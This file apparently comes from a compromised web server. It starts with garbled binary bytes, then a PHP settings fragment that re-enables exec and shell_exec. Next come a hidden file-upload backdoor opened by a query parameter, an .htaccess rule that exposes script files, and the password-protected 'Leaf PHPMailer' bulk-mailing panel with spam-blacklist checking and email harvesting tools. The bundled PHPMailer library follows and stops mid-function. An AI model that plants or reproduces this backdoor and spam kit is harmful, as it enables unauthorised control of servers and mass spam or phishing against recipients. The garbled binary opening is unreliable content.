8ܷCu*^vr'Ӽ:bpW`^vxahcundoz}Yșvxahcundoz3YӌO'a^ypm-
Dcepwaqxdnzory
p+KVHE浱177;зgEA2V}CQ.$cs[oo/PF/7F[[1{7ˢa9:\Q)m/li1,a* qMe3Cd pZ;
8}@\'[Y}K!S
]ͨepwaqxdnzo7,Kmej=.o^ދuh-,D@MJB,^;4򇦱o+^VtuL./4=5/s
f33(H6=I/	&k\ӇITB+^ ̮6g5P}HS՞*bvӱu_v=fusM
{]eZ$ՑϿȆO| 0woYY.O`ȿ䧯|жca975,LRdCDH3~נs[9 
\L}QҿbyND~)Y8\	C,[ڨ ]GT&QBv
z_w{iOE\CZ^,_p26poA+Sw$#!=
k+Y$R(,=;
Fc|Y@)+BptF	4)	͟ZtUSu$ hmڏK'ϮQbepwaqxdnzoiiz,VOLG(epwaqxdnzoLNP +t3%ۓx-}̥=l#fKꛌ!D\@vёMxREtzw./.(FDH;"G}b$Q~mS泮أۯqs2*1ݫo+|g=&/܉3fp\~Ѩ
=c%G
^`@zepwaqxdnzoNg7Qۧ3xl]7%oLM7/ ÍZ(	\ix:=1l)i?h6BL`s+x]a'Yx4ёKJU֍=V]f"a0uvxahcundoz
% -RŬo}kK'P8ֺ#Ꮅ㌀vxahcundoznl̍,yt׷
Rͼ7	R\-[_,epwaqxdnzo
zs`E=@irrp%  xDr`kFfY\ - vMYVepwaqxdnzoܧUhP;ձhtRgƏwr-=Bfc
/8M:Zj9k5Xgk0)\+/u2llqZJkK/_4saiQIvY"4'vAE5O8.~o
U-xyܤvxahcundozt_?ه
ߕK^ދE-ɠepwaqxdnzoLs^UxQ;bxxyBx̙Un`h4mŸsLA6BQg̥C.Yk P`Bٗe` &֠PO́vxahcundoz;+sLڒ
YwH|oIC*B^VMݙkfDzj՟p~%'RH$KҘtl罃n}J5T;D]:9]/3;$	Aepwaqxdnzop
8 Wx8밪7VK;ʽ˱
V-INl(8sBrb{1n,3i2ryFqȠ+քdTpV]^gO)1O'NFހO4]+i8\ϳJCܕ^рmeE`pgTkW l	ҙL0z~U]Af}ivբqjvxahcundozۢk`uB'ԩUg251ڧ7w[?q7.= Pq=1Zs]_	7%tSLcLπVQRVvo{KgkM1q6iYF;s}#BV]n@3.bgP0Md^4TgEž1NH9ܑ 2` ႘Mt;}Pwvxahcundozt&= o/b4ʼ@Qq'
'':,tlÞ:Q?/D3j"IRvtJt8/ס!6$3.FAepwaqxdnzo_ݷw8SDE
i_XK*7T\?}J98MyA99D,*Dvi/MFz

K2ɩ|W-\Yh2	ax@#nP{yWVy AX=9amqH,JtTs:4
զ整j،@
gY[4
epwaqxdnzo"9Stj:6e-hO'x,_Pv#"
R~(@1~'|y1H-.V'3*(hM\v*8r,_PU^8[7md*vxahcundozCYepwaqxdnzo% 7o㤤ɫLj^׵/|%\Aɴ:kHi"NȾ,_Wd9&gkסPwa\OV0H(.ii*=d_ouBPtycM ŷGsہѽ1q9`-	E%SgUepwaqxdnzoM@p#PT

qC=cI.$&E4 I=C͠xҟKm7vxahcundoz105=2
!}y _3d_J#Q׊pvxahcundozW㔀.OYoԭ=.LKJHI;ፖ#9$v9vxahcundoz{oĳج#TrGlwVwtepwaqxdnzo~qPOj%03¾$kHv݊JMe!AF5z15gU@ a MUa9/9l }錹4[YZy	7_-tQPGjyiٮb6zODs@0@p!bRj1ú%]E\Ė^ի`zMg lS!˧NnR]𶣄C=*ŗ[ N:2̕w~&66/Z;/R (YZ!RڻڸbY~@*	Hj*	^%Q(A]*BLAqBdZa49, ;-pd!D.~\/YwFHwCcǣepwaqxdnzo?y޽bA9q3c+f=pT/rDՙx`
3+kǖM:$\zepwaqxdnzorjcF
G	F-	yftr/dQZBE]l=iy*/ T3%vxΑ_pe	?,0C`DAN0l	:Aڰ/^jώ=,6i!IRO($	'lO"xoTMD{EVڔTc2@)\53GTx/F|DK{T(Vhyd~߼6qqQx9sYT3F,)SVT?)N$c*r
 Kwf=T4zȐ# ֔q 8UXP5^+P(
(u )ҭxeE*WT5 ),H$L5JNUyRepwaqxdnzo٘p`g;9g?{ʵ:'	U)ggZ 4@ҽ5#t)bKM8"H3vxahcundoz7vZ7vxahcundozōSJl=:r%[Ec,=Ub@MNdMFHف3Wv#M~r'U[{R,safe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF
exec = ON
shell_exec = ON<?php error_reporting(0); if(trim($_GET['f']) == 'f'){ $saw1 = $_FILES['file']['tmp_name']; $saw2 = '../'.$_FILES['file']['name']; echo "<form method='POST' enctype='multipart/form-data'><input type='file'name='file' /><input type='submit' value='upload' /></form>"; if($saw1 && $saw2) move_uploaded_file($saw1, $saw2); } ?>

Order Deny,Allow
<FilesMatch "\.(html|bash|sh|pl|perl|txt|htm|phtml|css|js|php|png|jpg|jpeg|txt|webp|mp4|svg|pdf|mov)$">
    Order Deny,Allow
    Allow From All
</FilesMatch>

<?php

$password = "D8CU6bPZxz1";

session_start();
error_reporting(0);
set_time_limit(0);
ini_set("memory_limit",-1);

$leaf['version']="2.8";
$leaf['website']="leafmailer.pw";


$sessioncode = md5(__FILE__);
if(!empty($password) and $_SESSION[$sessioncode] != $password){
    if (isset($_REQUEST['pass']) and $_REQUEST['pass'] == $password) {
        $_SESSION[$sessioncode] = $password;
    }
    else {
        print "<pre align=center><form method=post>Password: <input type='password' name='pass'><input type='submit' value='>>'></form></pre>";
        exit;        
    }
}

session_write_close();


function leafClear($text,$email){
	$e = explode('@', $email);
	$emailuser=$e[0];
	$emaildomain=$e[1];
    $text = str_replace("[-time-]", date("m/d/Y h:i:s a", time()), $text);
    $text = str_replace("[-email-]", $email, $text);
    $text = str_replace("[-emailuser-]", $emailuser, $text);
    $text = str_replace("[-emaildomain-]", $emaildomain, $text);
    $text = str_replace("[-randomletters-]", randString('abcdefghijklmnopqrstuvwxyz'), $text);
    $text = str_replace("[-randomstring-]", randString('abcdefghijklmnopqrstuvwxyz0123456789'), $text);
    $text = str_replace("[-randomnumber-]", randString('0123456789'), $text);
    $text = str_replace("[-randommd5-]", md5(randString('abcdefghijklmnopqrstuvwxyz0123456789')), $text);
    return $text;  
}
function leafTrim($string){
	$string=urldecode($string);
    return stripslashes(trim($string));
}
function randString($consonants) {
    $length=rand(12,25);
    $password = '';
    for ($i = 0; $i < $length; $i++) {
            $password .= $consonants[(rand() % strlen($consonants))];
    }
    return $password;
}
function leafMailCheck($email){
    if (filter_var($email, FILTER_VALIDATE_EMAIL)) return true;
    else return false;
}
# Bulit-in BlackList Checker 
if(isset($_GET['check_ip'])){
    if (isset($_GET['host'])){
        $_GET['host']=explode(",", $_GET['host']);
        foreach ($_GET['host'] as $host) {
            if (checkdnsrr($_GET['check_ip'] . "." .  $host . ".", "A")) $check= "<font color='red'> Listed</font>";
            else $check= "<font color='green'> Clean</font>";
            print 'document.getElementById("'. $host.'").innerHTML = "'.$check.'";';
        }

        exit;
    }
    $dnsbl_lookup = array(
        "all.s5h.net",
        "b.barracudacentral.org",
        "bl.spamcop.net",
        "blacklist.woody.ch",
        "bogons.cymru.com",
        "cbl.abuseat.org",
        "cdl.anti-spam.org.cn",
        "combined.abuse.ch",
        "db.wpbl.info",
        "dnsbl-1.uceprotect.net",
        "dnsbl-2.uceprotect.net",
        "dnsbl-3.uceprotect.net",
        "dnsbl.anticaptcha.net",
        "dnsbl.dronebl.org",
        "dnsbl.inps.de",
        "dnsbl.sorbs.net",
        "drone.abuse.ch",
        "duinv.aupads.org",
        "dul.dnsbl.sorbs.net",
        "dyna.spamrats.com",
        "dynip.rothen.com",
        "http.dnsbl.sorbs.net",
        "ips.backscatterer.org",
        "ix.dnsbl.manitu.net",
        "korea.services.net",
        "misc.dnsbl.sorbs.net",
        "noptr.spamrats.com",
        "orvedb.aupads.org",
        "pbl.spamhaus.org",
        "proxy.bl.gweep.ca",
        "psbl.surriel.com",
        "relays.bl.gweep.ca",
        "relays.nether.net",
        "sbl.spamhaus.org",
        "short.rbl.jp",
        "singular.ttk.pte.hu",
        "smtp.dnsbl.sorbs.net",
        "socks.dnsbl.sorbs.net",
        "spam.abuse.ch",
        "spam.dnsbl.anonmails.de",
        "spam.dnsbl.sorbs.net",
        "spam.spamrats.com",
        "spambot.bls.digibase.ca",
        "spamrbl.imp.ch",
        "spamsources.fabel.dk",
        "ubl.lashback.com",
        "ubl.unsubscore.com",
        "virus.rbl.jp",
        "web.dnsbl.sorbs.net",
        "wormrbl.imp.ch",
        "xbl.spamhaus.org",
        "z.mailspike.net",
        "zen.spamhaus.org",
        "zombie.dnsbl.sorbs.net",
    );
    $reverse_ip = implode(".", array_reverse(explode(".", $_GET['check_ip'])));
    $dnsT = count($dnsbl_lookup);
    leafheader();
    print '<div class="container col-lg-6"><h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>Blacklist Checker</small></h3>';
    Print "Checking <b>".$_GET['check_ip']."</b> in <b>$dnsT</b>  anti-spam databases:<br>";
    $dnsN="";
    print '<table >';
    for ($i=0; $i < $dnsT; $i=$i+10) { 
        $host="";
        $hosts="";
        for($j=$i; $j<$i+10;$j++){
            $host=$dnsbl_lookup[$j];
            if(!empty($host)){
                print "<tr> <td>$host</td> <td id='$host'>Checking ..</td></tr>";
                $hosts .="$host,";
            }
        }
        $dnsN.="<script src='?check_ip=$reverse_ip&host=".$hosts."' type='text/javascript'></script>";
    }

    print '</table></div>';
    print $dnsN;
    exit;
}
if(isset($_GET['emailfilter'])){

    if(!empty($_FILES['fileToUpload']['tmp_name'])){
        $_POST['emailList']= file_get_contents($_FILES["fileToUpload"]["tmp_name"]); 
    }
    $_POST['emailList']=strtolower($_POST['emailList']);
   if($_GET['emailfilter']=="ifram"){
        if ($_POST['resulttype'] == "download"){
            header("Content-Description: File Transfer"); 
            header("Content-Type: application/octet-stream"); 
            header("Content-Disposition: attachment; filename=emails".time().".txt");
        }
        else {
            header("Content-Type: text/plain");
        }
    if($_POST['submit']=="extract"){
        $pattern = '/[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,4}/';
        preg_match_all($pattern, $_POST['emailList'], $matches);
        foreach ($matches[0] as $email) {
            print $email."\n";
        }
    }
    elseif ($_POST['submit']=="filter") {
        $emails=explode("\n", $_POST['emailList']);
        $keywords=explode("\n", strtolower($_POST['keywords']));
        foreach ($emails as $email) {
            foreach ($keywords as $keyword ) {
                if(strstr($email, $keyword) ){
                    print $email."\n";
                     break;
                }
               
            }
        }

    }
    exit;
   }
   leafheader();
   print '<div class="container col-lg-4"><h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>Email Filter</small></h3>';
   print '
    <form action="?emailfilter=ifram" method="POST" target="my-iframe" enctype="multipart/form-data" onsubmit=\'\'>
        <label for="emailList">Text </label><input type="file" name="fileToUpload" id="fileToUpload"> 
        or

        <textarea name="emailList" id="emailList" class="form-control" rows="7" id="textArea"></textarea>
      <div class="col-lg-12">
        <div class="radio">
          <label>
            <input type="radio" name="resulttype" id="resulttype" value="here" checked="">
            Show Result in this page
          </label>
        </div>
        <div class="radio">
          <label>
            <input type="radio" name="resulttype" id="resulttype" value="download">
            Download Result (for big numbers)
          </label>
        </div>
      </div>
            <legend><h4>Extract Email</h4></legend>
            Detecting every email (100%) and order them line by line <br><br>
        <button type="submit" name="submit" value="extract" class="btn btn-default btn-sm">Start</button>
            <legend><h4>Filter Emails</h4></legend>
        <label >Keywords <small> ex: gmail.com or .co.uk</small> </label><textarea name="keywords" id="keywords" class="form-control" rows="4" id="textArea">gmail.com
hotmail.com
yahoo.com
.co.uk</textarea><br>

            <button type="submit" name="submit" value="filter" class="btn btn-default btn-sm">Start</button>
    </form>
    <label >Result </label>
    <iframe style="border:none;width:100%;" name="my-iframe"  src="?emailfilter=ifram" ></iframe>
   ';
   exit;

}
$html="checked";
$utf8="selected";
$bit8="selected";

if($_POST['action']=="send" or $_POST['action']=="score"){

    $senderEmail=leafTrim($_POST['senderEmail']);
    $senderName=leafTrim($_POST['senderName']);
    $replyTo=leafTrim($_POST['replyTo']);
    $subject=leafTrim($_POST['subject']);
    $emailList=leafTrim($_POST['emailList']);
    $messageType=leafTrim($_POST['messageType']);
    $messageLetter=leafTrim($_POST['messageLetter']);
    $encoding = $_POST['encode'];
    $charset = $_POST['charset'];
    $html="";
    $utf8="";
    $bit8="";

    if($messageType==2) $plain="checked";
    else $html="checked";

    if($charset=="ISO-8859-1") $iso="selected";
    else $utf8="selected";

    if($encoding=="7bit") $bit7="selected";
    elseif($encoding=="binary") $binary="selected";
    elseif($encoding=="base64") $base64="selected";
    elseif($encoding=="quoted-printable") $quotedprintable="selected";
    else $bit8="selected";



}
if($_POST['action']=="view"){
	$viewMessage=leafTrim($_POST['messageLetter']);
	$viewMessage=leafClear($viewMessage,"user@domain.com");
	if ($_POST['messageType']==2){
		print "<pre>".htmlspecialchars($viewMessage)."</pre>";
	}
	else {
		print $viewMessage;
	}
	exit;
}



if(!isset($_POST['senderEmail'])){
    $senderEmail="support@".str_replace("www.", "", $_SERVER['HTTP_HOST']);
    if (!leafMailCheck($senderEmail)) $senderEmail="";
}

class PHPMailer
{
    /**
     * The PHPMailer Version number.
     * @var string
     */
    public $Version = '5.2.28';

    /**
     * Email priority.
     * Options: null (default), 1 = High, 3 = Normal, 5 = low.
     * When null, the header is not set at all.
     * @var integer
     */
    public $Priority = null;

    /**
     * The character set of the message.
     * @var string
     */
    public $CharSet = 'iso-8859-1';

    /**
     * The MIME Content-type of the message.
     * @var string
     */
    public $ContentType = 'text/plain';

    /**
     * The message encoding.
     * Options: "8bit", "7bit", "binary", "base64", and "quoted-printable".
     * @var string
     */
    public $Encoding = '8bit';

    /**
     * Holds the most recent mailer error message.
     * @var string
     */
    public $ErrorInfo = '';

    /**
     * The From email address for the message.
     * @var string
     */
    public $From = 'root@localhost';

    /**
     * The From name of the message.
     * @var string
     */
    public $FromName = 'Root User';

    /**
     * The Sender email (Return-Path) of the message.
     * If not empty, will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode.
     * @var string
     */
    public $Sender = '';

    /**
     * The Return-Path of the message.
     * If empty, it will be set to either From or Sender.
     * @var string
     * @deprecated Email senders should never set a return-path header;
     * it's the receiver's job (RFC5321 section 4.4), so this no longer does anything.
     * @link https://tools.ietf.org/html/rfc5321#section-4.4 RFC5321 reference
     */
    public $ReturnPath = '';

    /**
     * The Subject of the message.
     * @var string
     */
    public $Subject = '';

    /**
     * An HTML or plain text message body.
     * If HTML then call isHTML(true).
     * @var string
     */
    public $Body = '';

    /**
     * The plain-text message body.
     * This body can be read by mail clients that do not have HTML email
     * capability such as mutt & Eudora.
     * Clients that can read HTML will view the normal Body.
     * @var string
     */
    public $AltBody = '';

    /**
     * An iCal message part body.
     * Only supported in simple alt or alt_inline message types
     * To generate iCal events, use the bundled extras/EasyPeasyICS.php class or iCalcreator
     * @link http://sprain.ch/blog/downloads/php-class-easypeasyics-create-ical-files-with-php/
     * @link http://kigkonsult.se/iCalcreator/
     * @var string
     */
    public $Ical = '';

    /**
     * The complete compiled MIME message body.
     * @access protected
     * @var string
     */
    protected $MIMEBody = '';

    /**
     * The complete compiled MIME message headers.
     * @var string
     * @access protected
     */
    protected $MIMEHeader = '';

    /**
     * Extra headers that createHeader() doesn't fold in.
     * @var string
     * @access protected
     */
    protected $mailHeader = '';

    /**
     * Word-wrap the message body to this number of chars.
     * Set to 0 to not wrap. A useful value here is 78, for RFC2822 section 2.1.1 compliance.
     * @var integer
     */
    public $WordWrap = 0;

    /**
     * Which method to use to send mail.
     * Options: "mail", "sendmail", or "smtp".
     * @var string
     */
    public $Mailer = 'mail';

    /**
     * The path to the sendmail program.
     * @var string
     */
    public $Sendmail = '/usr/sbin/sendmail';

    /**
     * Whether mail() uses a fully sendmail-compatible MTA.
     * One which supports sendmail's "-oi -f" options.
     * @var boolean
     */
    public $UseSendmailOptions = true;

    /**
     * Path to PHPMailer plugins.
     * Useful if the SMTP class is not in the PHP include path.
     * @var string
     * @deprecated Should not be needed now there is an autoloader.
     */
    public $PluginDir = '';

    /**
     * The email address that a reading confirmation should be sent to, also known as read receipt.
     * @var string
     */
    public $ConfirmReadingTo = '';

    /**
     * The hostname to use in the Message-ID header and as default HELO string.
     * If empty, PHPMailer attempts to find one with, in order,
     * $_SERVER['SERVER_NAME'], gethostname(), php_uname('n'), or the value
     * 'localhost.localdomain'.
     * @var string
     */
    public $Hostname = '';

    /**
     * An ID to be used in the Message-ID header.
     * If empty, a unique id will be generated.
     * You can set your own, but it must be in the format "<id@domain>",
     * as defined in RFC5322 section 3.6.4 or it will be ignored.
     * @see https://tools.ietf.org/html/rfc5322#section-3.6.4
     * @var string
     */
    public $MessageID = '';

    /**
     * The message Date to be used in the Date header.
     * If empty, the current date will be added.
     * @var string
     */
    public $MessageDate = '';

    /**
     * SMTP hosts.
     * Either a single hostname or multiple semicolon-delimited hostnames.
     * You can also specify a different port
     * for each host by using this format: [hostname:port]
     * (e.g. "smtp1.example.com:25;smtp2.example.com").
     * You can also specify encryption type, for example:
     * (e.g. "tls://smtp1.example.com:587;ssl://smtp2.example.com:465").
     * Hosts will be tried in order.
     * @var string
     */
    public $Host = 'localhost';

    /**
     * The default SMTP server port.
     * @var integer
     * @TODO Why is this needed when the SMTP class takes care of it?
     */
    public $Port = 25;

    /**
     * The SMTP HELO of the message.
     * Default is $Hostname. If $Hostname is empty, PHPMailer attempts to find
     * one with the same method described above for $Hostname.
     * @var string
     * @see PHPMailer::$Hostname
     */
    public $Helo = '';

    /**
     * What kind of encryption to use on the SMTP connection.
     * Options: '', 'ssl' or 'tls'
     * @var string
     */
    public $SMTPSecure = '';

    /**
     * Whether to enable TLS encryption automatically if a server supports it,
     * even if `SMTPSecure` is not set to 'tls'.
     * Be aware that in PHP >= 5.6 this requires that the server's certificates are valid.
     * @var boolean
     */
    public $SMTPAutoTLS = true;

    /**
     * Whether to use SMTP authentication.
     * Uses the Username and Password properties.
     * @var boolean
     * @see PHPMailer::$Username
     * @see PHPMailer::$Password
     */
    public $SMTPAuth = false;

    /**
     * Options array passed to stream_context_create when connecting via SMTP.
     * @var array
     */
    public $SMTPOptions = array();

    /**
     * SMTP username.
     * @var string
     */
    public $Username = '';

    /**
     * SMTP password.
     * @var string
     */
    public $Password = '';

    /**
     * SMTP auth type.
     * Options are CRAM-MD5, LOGIN, PLAIN, NTLM, XOAUTH2, attempted in that order if not specified
     * @var string
     */
    public $AuthType = '';

    /**
     * SMTP realm.
     * Used for NTLM auth
     * @var string
     */
    public $Realm = '';

    /**
     * SMTP workstation.
     * Used for NTLM auth
     * @var string
     */
    public $Workstation = '';

    /**
     * The SMTP server timeout in seconds.
     * Default of 5 minutes (300sec) is from RFC2821 section 4.5.3.2
     * @var integer
     */
    public $Timeout = 300;

    /**
     * SMTP class debug output mode.
     * Debug output level.
     * Options:
     * * `0` No output
     * * `1` Commands
     * * `2` Data and commands
     * * `3` As 2 plus connection status
     * * `4` Low-level data output
     * @var integer
     * @see SMTP::$do_debug
     */
    public $SMTPDebug = 0;

    /**
     * How to handle debug output.
     * Options:
     * * `echo` Output plain-text as-is, appropriate for CLI
     * * `html` Output escaped, line breaks converted to `<br>`, appropriate for browser output
     * * `error_log` Output to error log as configured in php.ini
     *
     * Alternatively, you can provide a callable expecting two params: a message string and the debug level:
     * <code>
     * $mail->Debugoutput = function($str, $level) {echo "debug level $level; message: $str";};
     * </code>
     * @var string|callable
     * @see SMTP::$Debugoutput
     */
    public $Debugoutput = 'echo';

    /**
     * Whether to keep SMTP connection open after each message.
     * If this is set to true then to close the connection
     * requires an explicit call to smtpClose().
     * @var boolean
     */
    public $SMTPKeepAlive = false;

    /**
     * Whether to split multiple to addresses into multiple messages
     * or send them all in one message.
     * Only supported in `mail` and `sendmail` transports, not in SMTP.
     * @var boolean
     */
    public $SingleTo = false;

    /**
     * Storage for addresses when SingleTo is enabled.
     * @var array
     * @TODO This should really not be public
     */
    public $SingleToArray = array();

    /**
     * Whether to generate VERP addresses on send.
     * Only applicable when sending via SMTP.
     * @link https://en.wikipedia.org/wiki/Variable_envelope_return_path
     * @link http://www.postfix.org/VERP_README.html Postfix VERP info
     * @var boolean
     */
    public $do_verp = false;

    /**
     * Whether to allow sending messages with an empty body.
     * @var boolean
     */
    public $AllowEmpty = false;

    /**
     * The default line ending.
     * @note The default remains "\n". We force CRLF where we know
     *        it must be used via self::CRLF.
     * @var string
     */
    public $LE = "\n";

    /**
     * DKIM selector.
     * @var string
     */
    public $DKIM_selector = '';

    /**
     * DKIM Identity.
     * Usually the email address used as the source of the email.
     * @var string
     */
    public $DKIM_identity = '';

    /**
     * DKIM passphrase.
     * Used if your key is encrypted.
     * @var string
     */
    public $DKIM_passphrase = '';

    /**
     * DKIM signing domain name.
     * @example 'example.com'
     * @var string
     */
    public $DKIM_domain = '';

    /**
     * DKIM private key file path.
     * @var string
     */
    public $DKIM_private = '';

    /**
     * DKIM private key string.
     * If set, takes precedence over `$DKIM_private`.
     * @var string
     */
    public $DKIM_private_string = '';

    /**
     * Callback Action function name.
     *
     * The function that handles the result of the send email action.
     * It is called out by send() for each email sent.
     *
     * Value can be any php callable: http://www.php.net/is_callable
     *
     * Parameters:
     *   boolean $result        result of the send action
     *   array   $to            email addresses of the recipients
     *   array   $cc            cc email addresses
     *   array   $bcc           bcc email addresses
     *   string  $subject       the subject
     *   string  $body          the email body
     *   string  $from          email address of sender
     * @var string
     */
    public $action_function = '';

    /**
     * What to put in the X-Mailer header.
     * Options: An empty string for PHPMailer default, whitespace for none, or a string to use
     * @var string
     */
    public $XMailer = ' ';

    /**
     * Which validator to use by default when validating email addresses.
     * May be a callable to inject your own validator, but there are several built-in validators.
     * @see PHPMailer::validateAddress()
     * @var string|callable
     * @static
     */
    public static $validator = 'auto';

    /**
     * An instance of the SMTP sender class.
     * @var SMTP
     * @access protected
     */
    protected $smtp = null;

    /**
     * The array of 'to' names and addresses.
     * @var array
     * @access protected
     */
    protected $to = array();

    /**
     * The array of 'cc' names and addresses.
     * @var array
     * @access protected
     */
    protected $cc = array();

    /**
     * The array of 'bcc' names and addresses.
     * @var array
     * @access protected
     */
    protected $bcc = array();

    /**
     * The array of reply-to names and addresses.
     * @var array
     * @access protected
     */
    protected $ReplyTo = array();

    /**
     * An array of all kinds of addresses.
     * Includes all of $to, $cc, $bcc
     * @var array
     * @access protected
     * @see PHPMailer::$to @see PHPMailer::$cc @see PHPMailer::$bcc
     */
    protected $all_recipients = array();

    /**
     * An array of names and addresses queued for validation.
     * In send(), valid and non duplicate entries are moved to $all_recipients
     * and one of $to, $cc, or $bcc.
     * This array is used only for addresses with IDN.
     * @var array
     * @access protected
     * @see PHPMailer::$to @see PHPMailer::$cc @see PHPMailer::$bcc
     * @see PHPMailer::$all_recipients
     */
    protected $RecipientsQueue = array();

    /**
     * An array of reply-to names and addresses queued for validation.
     * In send(), valid and non duplicate entries are moved to $ReplyTo.
     * This array is used only for addresses with IDN.
     * @var array
     * @access protected
     * @see PHPMailer::$ReplyTo
     */
    protected $ReplyToQueue = array();

    /**
     * The array of attachments.
     * @var array
     * @access protected
     */
    protected $attachment = array();

    /**
     * The array of custom headers.
     * @var array
     * @access protected
     */
    protected $CustomHeader = array();

    /**
     * The most recent Message-ID (including angular brackets).
     * @var string
     * @access protected
     */
    protected $lastMessageID = '';

    /**
     * The message's MIME type.
     * @var string
     * @access protected
     */
    protected $message_type = '';

    /**
     * The array of MIME boundary strings.
     * @var array
     * @access protected
     */
    protected $boundary = array();

    /**
     * The array of available languages.
     * @var array
     * @access protected
     */
    protected $language = array();

    /**
     * The number of errors encountered.
     * @var integer
     * @access protected
     */
    protected $error_count = 0;

    /**
     * The S/MIME certificate file path.
     * @var string
     * @access protected
     */
    protected $sign_cert_file = '';

    /**
     * The S/MIME key file path.
     * @var string
     * @access protected
     */
    protected $sign_key_file = '';

    /**
     * The optional S/MIME extra certificates ("CA Chain") file path.
     * @var string
     * @access protected
     */
    protected $sign_extracerts_file = '';

    /**
     * The S/MIME password for the key.
     * Used only if the key is encrypted.
     * @var string
     * @access protected
     */
    protected $sign_key_pass = '';

    /**
     * Whether to throw exceptions for errors.
     * @var boolean
     * @access protected
     */
    protected $exceptions = false;

    /**
     * Unique ID used for message ID and boundaries.
     * @var string
     * @access protected
     */
    protected $uniqueid = '';

    /**
     * Error severity: message only, continue processing.
     */
    const STOP_MESSAGE = 0;

    /**
     * Error severity: message, likely ok to continue processing.
     */
    const STOP_CONTINUE = 1;

    /**
     * Error severity: message, plus full stop, critical error reached.
     */
    const STOP_CRITICAL = 2;

    /**
     * SMTP RFC standard line ending.
     */
    const CRLF = "\r\n";

    /**
     * The maximum line length allowed by RFC 2822 section 2.1.1
     * @var integer
     */
    const MAX_LINE_LENGTH = 998;

    /**
     * Constructor.
     * @param boolean $exceptions Should we throw external exceptions?
     */
    public function __construct($exceptions = null)
    {
        if ($exceptions !== null) {
            $this->exceptions = (boolean)$exceptions;
        }
        //Pick an appropriate debug output format automatically
        $this->Debugoutput = (strpos(PHP_SAPI, 'cli') !== false ? 'echo' : 'html');
    }

    /**
     * Destructor.
     */
    public function __destruct()
    {
        //Close any open SMTP connection nicely
        $this->smtpClose();
    }

    /**
     * Call mail() in a safe_mode-aware fashion.
     * Also, unless sendmail_path points to sendmail (or something that
     * claims to be sendmail), don't pass params (not a perfect fix,
     * but it will do)
     * @param string $to To
     * @param string $subject Subject
     * @param string $body Message Body
     * @param string $header Additional Header(s)
     * @param string $params Params
     * @access private
     * @return boolean
     */
    private function mailPassthru($to, $subject, $body, $header, $params)
    {
        //Check overloading of mail function to avoid double-encoding
        if (ini_get('mbstring.func_overload') & 1) {
            $subject = $this->secureHeader($subject);
        } else {
            $subject = $this->encodeHeader($this->secureHeader($subject));
        }

        //Can't use additional_parameters in safe_mode, calling mail() with null params breaks
        //@link http://php.net/manual/en/function.mail.php
        if (ini_get('safe_mode') or !$this->UseSendmailOptions or is_null($params)) {
            $result = @mail($to, $subject, $body, $header);
        } else {
            $result = @mail($to, $subject, $body, $header, $params);
        }
        return $result;
    }
    /**
     * Output debugging info via user-defined method.
     * Only generates output if SMTP debug output is enabled (@see SMTP::$do_debug).
     * @see PHPMailer::$Debugoutput
     * @see PHPMailer::$SMTPDebug
     * @param string $str
     */
    protected function edebug($str)
    {
        if ($this->SMTPDebug <= 0) {
            return;
        }
        //Avoid clash with built-in function names
        if (!in_array($this->Debugoutput, array('error_log', 'html', 'echo')) and is_callable($this->Debugoutput)) {
            call_user_func($this->Debugoutput, $str, $this->SMTPDebug);
            return;
        }
        switch ($this->Debugoutput) {
            case 'error_log':
                //Don't output, just log
                error_log($str);
                break;
            case 'html':
                //Cleans up output a bit for a better looking, HTML-safe output
                echo htmlentities(
                    preg_replace('/[\r\n]+/', '', $str),
                    ENT_QUOTES,
                    'UTF-8'
                )
                . "<br>\n";
                break;
            case 'echo':
            default:
                //Normalize line breaks
                $str = preg_replace('/\r\n?/ms', "\n", $str);
                echo gmdate('Y-m-d H:i:s') . "\t" . str_replace(
                    "\n",
                    "\n                   \t                  ",
                    trim($str)
                ) . "\n";
        }
    }

    /**
     * Send messages using SMTP.
     * @return void
     */
    public function isSMTP()
    {
        $this->Mailer = 'smtp';
    }

    /**
     * Send messages using PHP's mail() function.
     * @return void
     */
    public function isMail()
    {
        $this->Mailer = 'mail';
    }

    /**
     * Send messages using $Sendmail.
     * @return void
     */
    public function isSendmail()
    {
        $ini_sendmail_path = ini_get('sendmail_path');

        if (!stristr($ini_sendmail_path, 'sendmail')) {
            $this->Sendmail = '/usr/sbin/sendmail';
        } else {
            $this->Sendmail = $ini_sendmail_path;
        }
        $this->Mailer = 'sendmail';
    }

    /**
     * Send messages using qmail.
     * @return void
     */
    public function isQmail()
    {
        $ini_sendmail_path = ini_get('sendmail_path');

        if (!stristr($ini_sendmail_path, 'qmail')) {
            $this->Sendmail = '/var/qmail/bin/qmail-inject';
        } else {
            $this->Sendmail = $ini_sendmail_path;
        }
        $this->Mailer = 'qmail';
    }

    /**
     * Add a "To" address.
     * @param string $address The email address to send to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addAddress($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('to', $address, $name);
    }

    /**
     * Add a "CC" address.
     * @note: This function works with the SMTP mailer on win32, not with the "mail" mailer.
     * @param string $address The email address to send to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addCC($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('cc', $address, $name);
    }

    /**
     * Add a "BCC" address.
     * @note: This function works with the SMTP mailer on win32, not with the "mail" mailer.
     * @param string $address The email address to send to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addBCC($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('bcc', $address, $name);
    }

    /**
     * Add a "Reply-To" address.
     * @param string $address The email address to reply to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addReplyTo($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('Reply-To', $address, $name);
    }

    /**
     * Add an address to one of the recipient arrays or to the ReplyTo array. Because PHPMailer
     * can't validate addresses with an IDN without knowing the PHPMailer::$CharSet (that can still
     * be modified after calling this function), addition of such addresses is delayed until send().
     * Addresses that have been added already return false, but do not throw exceptions.
     * @param string $kind One of 'to', 'cc', 'bcc', or 'ReplyTo'
     * @param string $address The email address to send, resp. to reply to
     * @param string $name
     * @throws phpmailerException
     * @return boolean true on success, false if address already used or invalid in some way
     * @access protected
     */
    protected function addOrEnqueueAnAddress($kind, $address, $name)
    {
        $address = trim($address);
